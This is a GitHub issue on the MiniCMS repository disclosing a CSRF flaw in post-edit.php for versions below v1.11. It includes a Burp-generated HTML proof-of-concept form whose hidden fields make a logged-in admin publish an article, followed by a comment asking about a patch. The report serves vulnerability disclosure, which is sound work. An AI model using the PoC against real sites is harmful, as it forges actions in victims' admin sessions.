search

bg5sbk / MiniCMS

至简的个人网站内容管理系统
http://1234n.com/?projects/minicms/
227 stars 61 forks source link

There is another CSRF vulnerabilities in post-edit.php that can lead to add article #51

Open zonesec0 opened 2 months ago

zonesec0 commented 2 months ago

Vendor of Product

https://github.com/bg5sbk/MiniCMS

Vulnerability Type

CSRF

Vulnerable File

post-edit.php

Affected Product Code Base

<v1.11

POC

  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://www.minicms.com/mc-admin/post-edit.php" method="POST">
      <input type="hidden" name="&#95;IS&#95;POST&#95;BACK&#95;" value="" />
      <input type="hidden" name="title" value="THISpoc" />
      <input type="hidden" name="content" value="thispoc" />
      <input type="hidden" name="tags" value="" />
      <input type="hidden" name="year" value="" />
      <input type="hidden" name="month" value="" />
      <input type="hidden" name="day" value="" />
      <input type="hidden" name="hourse" value="" />
      <input type="hidden" name="minute" value="" />
      <input type="hidden" name="second" value="" />
      <input type="hidden" name="can&#95;comment" value="1" />
      <input type="hidden" name="state" value="publish" />
      <input type="hidden" name="id" value="" />
      <input type="hidden" name="save" value="ä&#191;&#157;å&#173;&#152;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Vulnerability reproduction

zentery commented 1 month ago

Is there a patch?